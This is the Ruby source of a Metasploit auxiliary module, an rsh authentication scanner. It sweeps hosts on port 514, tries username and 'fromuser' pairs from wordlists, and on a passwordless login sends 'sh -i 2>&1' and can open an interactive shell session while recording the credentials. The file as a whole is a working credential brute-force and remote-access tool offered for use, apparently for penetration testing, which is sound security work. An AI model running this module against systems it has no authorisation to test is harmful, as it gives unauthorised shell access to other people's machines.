##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::RServices
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::CommandShell

  def initialize
    super(
      'Name'        => 'rsh Authentication Scanner',
      'Description' => %q{
          This module will test a shell (rsh) service on a range of machines and
        report successful logins.

        NOTE: This module requires access to bind to privileged ports (below 1024).
      },
      'References' =>
        [
          [ 'CVE', '1999-0651' ],
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'Author'      => [ 'jduck' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(514),
        OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ])
      ])
  end

  def run_host(ip)
    print_status("#{ip}:#{rport} - Starting rsh sweep")

    cmd = datastore['CMD']
    cmd ||= 'sh -i 2>&1'

    if datastore['ENABLE_STDERR']
      # For each host, bind a privileged listening port for the target to connect
      # back to.
      ret = listen_on_privileged_port
      if not ret
        return :abort
      end
      sd, lport = ret
    else
      sd = lport = nil
    end

    # The maximum time for a host is set here.
    Timeout.timeout(300) {
      each_user_fromuser { |user, fromuser|
        do_login(user, fromuser, cmd, sd, lport)
      }
    }

    sd.close if sd
  end


  def each_user_fromuser(&block)
    # Class variables to track credential use (for threading)
    @@credentials_tried = {}
    @@credentials_skipped = {}

    credentials = extract_word_pair(datastore['USERPASS_FILE'])

    users = load_user_vars()
    credentials.each { |u,p| users << u }
    users.uniq!

    fromusers = load_fromuser_vars()

    cleanup_files()

    # We'll abuse this nice array combining function, despite its inaccurate name in this case :)
    credentials = combine_users_and_passwords(users, fromusers)

    fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"]

    credentials.each do |u,fu|

      break if @@credentials_skipped[fq_rest]

      fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u]

      userpass_sleep_interval unless @@credentials_tried.empty?

      next if @@credentials_skipped[fq_user]
      next if @@credentials_tried[fq_user] == fu

      ret = block.call(u, fu)

      case ret
      when :abort # Skip the current host entirely.
        break

      when :next_user # This means success for that user.
        @@credentials_skipped[fq_user] = fu
        if datastore['STOP_ON_SUCCESS'] # See?
          @@credentials_skipped[fq_rest] = true
        end

      when :skip_user # Skip the user in non-success cases.
        @@credentials_skipped[fq_user] = fu

      when :connection_error # Report an error, skip this cred, but don't abort.
        vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}' from '#{fu}'"
      end
      @@credentials_tried[fq_user] = fu
    end
  end


  def do_login(user, luser, cmd, sfd, lport)
    vprint_status("#{target_host}:#{rport} - Attempting rsh with username '#{user}' from '#{luser}'")

    # We must connect from a privileged port.
    this_attempt ||= 0
    ret = nil
    while this_attempt <= 3 and (ret.nil? or ret == :refused)
      if this_attempt > 0
        # power of 2 back-off
        select(nil, nil, nil, 2**this_attempt)
        vprint_error "#{rhost}:#{rport} rsh - Retrying '#{user}' from '#{luser}' due to reset"
      end
      ret = connect_from_privileged_port
      break if ret == :connected
      this_attempt += 1
    end

    return :abort if ret != :connected

    sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00")

    if sfd and lport
      stderr_sock = sfd.accept
      add_socket(stderr_sock)
    else
      stderr_sock = nil
    end

    # NOTE: We report this here, since we are awfully convinced now that this is really
    # an rsh service.
    report_service(
      :host => rhost,
      :port => rport,
      :proto => 'tcp',
      :name => 'shell'
    )

    # Read the expected nul byte response.
    buf = sock.get_once(1) || ''
    if buf != "\x00"
      buf = sock.get_once(-1)
      if buf.nil?
        return :failed
      end
      result = buf.gsub(/[[:space:]]+/, ' ')
      vprint_error("Result: #{result}")
      return :skip_user if result =~ /locuser too long/
      return :failed
    end

    # should we report a vuln here? rsh allowed w/o password?!
    print_good("#{target_host}:#{rport}, rsh '#{user}' from '#{luser}' with no password.")
    start_rsh_session(rhost, rport, user, luser, buf, stderr_sock)

    return :next_user

  # For debugging only.
  #rescue ::Exception
  #	print_error("#{$!}")
  #	return :abort

  ensure
    disconnect()

  end


  #
  # This is only needed by RSH so it is not in the rservices mixin
  #
  def listen_on_privileged_port
    lport = 1023
    sd = nil
    while lport > 512
      #vprint_status("Trying to listen on port #{lport} ..")
      sd = nil
      begin
        sd = Rex::Socket.create_tcp_server('LocalPort' => lport)

      rescue Rex::BindFailed
        # Ignore and try again

      end

      break if sd
      lport -= 1
    end

    if not sd
      print_error("Unable to bind to listener port")
      return false
    end

    add_socket(sd)
    #print_status("Listening on port #{lport}")
    [ sd, lport ]
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def start_rsh_session(host, port, user, luser, proof, stderr_sock)
    service_data = {
      address: host,
      port: port,
      service_name: 'shell',
      proof: proof,
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: user,
      # Save a reference to the socket so we don't GC prematurely
      stderr_sock: stderr_sock
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    if datastore['CreateSession']
      start_session(self, "RSH #{user} from #{luser} (#{host}:#{port})", login_data, nil, self.sock)
      # Don't tie the life of this socket to the exploit
      self.sockets.delete(stderr_sock)
      self.sock = nil
    end
  end
end
